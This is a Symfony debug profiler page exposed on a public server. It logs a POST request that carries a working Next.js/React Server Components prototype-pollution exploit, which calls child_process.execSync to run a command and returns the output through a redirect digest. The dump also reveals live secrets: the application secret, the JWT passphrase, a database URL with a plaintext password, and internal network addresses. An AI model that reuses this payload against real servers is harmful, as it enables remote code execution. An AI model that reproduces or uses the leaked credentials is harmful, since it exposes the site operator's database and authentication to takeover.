POST http://91.98.234.34/

Response
302 Found
IP
172.18.0.1
Profiled on
Token
dfab06

Request / Response

Request

GET Parameters

No GET parameters

POST Parameters

Key Value
0 
"{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo VULN').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/login?a='+res+';307;'});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}"
1 
""$@0""
2 
"[]"

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"App\Controller\DashboardController::dashboard"
_firewall_context 
"security.firewall.map.context.main"
_route 
"app_dashboard"
_route_params 
[]
_security_firewall_run 
"_security_main"
_stopwatch_token 
"14eeae"
_vary_by_language 
true
media_type 
"text/html"

Request Headers

Header Value
accept 
"*/*"
connection 
"upgrade"
content-length 
"689"
content-type 
"multipart/form-data; boundary=--WebKitFormBoundaryx8jO2oVc6SWP3Sad"
host 
"91.98.234.34"
next-action 
"1"
x-forwarded-for 
"193.233.129.201"
x-forwarded-proto 
"https"
x-php-ob-level 
"0"
x-real-ip 
"193.233.129.201"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-language 
"de_DE"
content-type 
"text/html; charset=utf-8"
date 
"Sat, 11 Apr 2026 10:30:05 GMT"
location 
"http://91.98.234.34/login"
vary 
"Accept-Language"
x-debug-token 
"dfab06"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session 1

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

1 Usages
Stateless check enabled
Usage
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:41
Show trace 
[
  [
    "file" => "/var/www/html/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
    "line" => 41
    "function" => "getMetadataBag"
    "class" => "Symfony\Component\HttpFoundation\Session\Session"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/security-http/Authenticator/RememberMeAuthenticator.php"
    "line" => 69
    "function" => "getToken"
    "class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
    "line" => 111
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Authenticator\RememberMeAuthenticator"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/security-http/Firewall/AuthenticatorManagerListener.php"
    "line" => 34
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/security-http/Authenticator/Debug/TraceableAuthenticatorManagerListener.php"
    "line" => 40
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Firewall\AuthenticatorManagerListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
    "line" => 38
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Authenticator\Debug\TraceableAuthenticatorManagerListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/security-http/Firewall/AbstractListener.php"
    "line" => 25
    "function" => "supports"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
    "line" => 60
    "function" => "__invoke"
    "class" => "Symfony\Component\Security\Http\Firewall\AbstractListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
    "line" => 80
    "function" => "__invoke"
    "class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/security-http/Firewall.php"
    "line" => 95
    "function" => "callListeners"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
    "line" => 116
    "function" => "onKernelRequest"
    "class" => "Symfony\Component\Security\Http\Firewall"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 220
    "function" => "__invoke"
    "class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 56
    "function" => "callListeners"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
    "line" => 139
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 157
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 76
    "function" => "handleRaw"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/http-kernel/Kernel.php"
    "line" => 197
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php"
    "line" => 35
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\Kernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/vendor/autoload_runtime.php"
    "line" => 29
    "function" => "run"
    "class" => "Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner"
    "type" => "->"
  ]
  [
    "file" => "/var/www/html/public/index.php"
    "line" => 5
    "args" => [
      "/var/www/html/vendor/autoload_runtime.php"
    ]
    "function" => "require_once"
  ]
]

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_DEFAULT_LOCALE 
"de_DE"
APP_EMAIL_DEFAULT_FROM 
"system@global.admin"
APP_EMAIL_DEFAULT_REPLY_TO 
"noreply@global.admin"
APP_EMAIL_ERROR_RECIPIENTS 
""
APP_ENV 
"dev"
APP_FRONTEND_BASE_URL 
"https://localhost:3000"
APP_LOCALES 
"de_DE,en_GB"
APP_LONG_NAME 
"Service Portal"
APP_SECRET 
"87c4ca69960c73ab615ba9ee421575a4"
APP_SHORT_NAME 
"Cyclos"
APP_TRANSLATION_FALLBACK 
"1"
DOCTRINE_SERVER_VERSION 
"mariadb-10.4.32"
GOTENBERG_DSN 
"http://gotenberg:3001"
JWT_PASSPHRASE 
"ee35e3475b0a9496d5e7086d2885c3a3b8c915a24e39917d45d4c4302ae089de"
JWT_PUBLIC_KEY 
"%kernel.project_dir%/config/jwt/public.pem"
JWT_REFRESH_TOKEN_TTL 
"2592000"
JWT_SECRET_KEY 
"%kernel.project_dir%/config/jwt/private.pem"
JWT_TOKEN_TTL 
"1800"
LDB_API 
"true"
LDB_API_URL 
"http://192.168.23.23"
LOCK_DSN 
"flock"
MAILER_DSN 
"native://default"
MEDIA_UPLOAD_DIR 
"media_upload"
PIGEON_ALLOWED_FILE_EXTENSIONS 
""
PIGEON_ALLOWED_MIME_TYPES 
""
PIGEON_IMAP_CONNECTION_STRING 
""
PIGEON_IMAP_PASSWORD 
""
PIGEON_IMAP_USER 
""
PROJECT_MAIL_DOMAIN 
"innofact.de"
SHOW_AVATAR 
"0"
THEME_ALLOW_DARK_MODE 
"0"
THEME_NAME 
"cyclos"

Defined as regular env variables

Key Value
APACHE_CONFDIR 
"/etc/apache2"
APACHE_DOCUMENT_ROOT 
"/var/www/html/public"
APACHE_ENVVARS 
"/etc/apache2/envvars"
APACHE_LOCK_DIR 
"/var/lock/apache2"
APACHE_LOG_DIR 
"/var/log/apache2"
APACHE_PID_FILE 
"/var/run/apache2/apache2.pid"
APACHE_RUN_DIR 
"/var/run/apache2"
APACHE_RUN_GROUP 
"www-data"
APACHE_RUN_USER 
"www-data"
APP_DEBUG 
"1"
CONTENT_LENGTH 
"689"
CONTENT_TYPE 
"multipart/form-data; boundary=--WebKitFormBoundaryx8jO2oVc6SWP3Sad"
CONTEXT_DOCUMENT_ROOT 
"/var/www/html/public"
CONTEXT_PREFIX 
""
DATABASE_URL 
"mysql://cyclos:1xtGIQDl5SCIEX3ssKeP@192.168.23.22:3306/cyclos?serverVersion=11.4.7-MariaDB&charset=utf8mb4"
DOCUMENT_ROOT 
"/var/www/html/public"
GATEWAY_INTERFACE 
"CGI/1.1"
GPG_KEYS 
"39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC"
HOSTNAME 
"a4fed2e9ae38"
HTTP_ACCEPT 
"*/*"
HTTP_CONNECTION 
"upgrade"
HTTP_HOST 
"91.98.234.34"
HTTP_NEXT_ACTION 
"1"
HTTP_X_FORWARDED_FOR 
"193.233.129.201"
HTTP_X_FORWARDED_PROTO 
"https"
HTTP_X_REAL_IP 
"193.233.129.201"
LANG 
"C"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
PHPIZE_DEPS 
"autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c"
PHP_ASC_URL 
"https://www.php.net/distributions/php-8.2.30.tar.xz.asc"
PHP_CFLAGS 
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
PHP_CPPFLAGS 
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
PHP_INI_DIR 
"/usr/local/etc/php"
PHP_LDFLAGS 
"-Wl,-O1 -pie"
PHP_SELF 
"/index.php"
PHP_SHA256 
"bc90523e17af4db46157e75d0c9ef0b9d0030b0514e62c26ba7b513b8c4eb015"
PHP_URL 
"https://www.php.net/distributions/php-8.2.30.tar.xz"
PHP_VERSION 
"8.2.30"
PWD 
"/var/www/html"
QUERY_STRING 
""
REDIRECT_STATUS 
"200"
REDIRECT_URL 
"/"
REMOTE_ADDR 
"172.18.0.1"
REMOTE_PORT 
"48654"
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"http"
REQUEST_TIME 
1775903405
REQUEST_TIME_FLOAT 
1775903405.7812
REQUEST_URI 
"/"
SCRIPT_FILENAME 
"/var/www/html/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"172.18.0.4"
SERVER_ADMIN 
"webmaster@localhost"
SERVER_NAME 
"91.98.234.34"
SERVER_PORT 
"80"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SIGNATURE 
"<address>Apache/2.4.66 (Debian) Server at 91.98.234.34 Port 80</address>\n"
SERVER_SOFTWARE 
"Apache/2.4.66 (Debian)"
SHLVL 
"0"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_SECRET,JWT_SECRET_KEY,JWT_PUBLIC_KEY,JWT_PASSPHRASE,JWT_TOKEN_TTL,JWT_REFRESH_TOKEN_TTL,MEDIA_UPLOAD_DIR,DOCTRINE_SERVER_VERSION,MAILER_DSN,LOCK_DSN,APP_DEFAULT_LOCALE,APP_LOCALES,APP_TRANSLATION_FALLBACK,APP_EMAIL_DEFAULT_FROM,APP_EMAIL_DEFAULT_REPLY_TO,APP_EMAIL_ERROR_RECIPIENTS,PROJECT_MAIL_DOMAIN,THEME_NAME,THEME_ALLOW_DARK_MODE,SHOW_AVATAR,APP_LONG_NAME,APP_SHORT_NAME,APP_FRONTEND_BASE_URL,PIGEON_IMAP_CONNECTION_STRING,PIGEON_IMAP_USER,PIGEON_IMAP_PASSWORD,PIGEON_ALLOWED_MIME_TYPES,PIGEON_ALLOWED_FILE_EXTENSIONS,LDB_API,LDB_API_URL,GOTENBERG_DSN"
argc 
0
argv 
[]